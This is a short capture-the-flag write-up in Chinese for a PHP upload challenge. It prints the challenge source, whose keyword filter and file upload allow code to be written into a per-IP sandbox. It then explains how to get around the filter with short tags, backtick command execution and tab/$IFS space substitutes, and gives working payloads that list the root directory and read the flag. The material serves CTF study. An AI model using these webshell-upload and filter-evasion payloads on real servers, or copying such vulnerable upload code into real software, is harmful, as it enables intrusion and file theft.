<?php
error_reporting(0);
highlight_file(__FILE__);
function check($input){
if(preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){
// if(preg_match("/'| |_|=|php/",$input)){
die('hacker!!!');
}else{
return $input;
}
}
function waf($input){
if(is_array($input)){
foreach($input as $key=>$output){
$input[$key] = waf($output);
}
}else{
$input = check($input);
}
}
$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){
mkdir($dir);
}
switch($_GET["action"] ?? "") {
case 'pwd':
echo $dir;
break;
case 'upload':
$data = $_GET["data"] ?? "";
waf($data);
file_put_contents("$dir" . "index.php", $data);
}
?>
可以看到有个简单的过滤,过滤了一些关键字符
当我们传参?action=pwd的时候,能看到上面的md5路径
然后就可以去执行命令了
过滤了php,我们可以使用短标签绕过,反引号包裹的可以执行命令
过滤了空格,但是还是可以使用编码绕过
%09
<
>
<>
$IFS$9
${IFS}
\t
?action=upload&data=<?=`ls%09/`?>
然后访问/sandbox/c47b21fcf8f0bc8b3920541abd8024fd/
读取flag
?action=upload&data=<?=`cat%09/flllllll1112222222lag`?>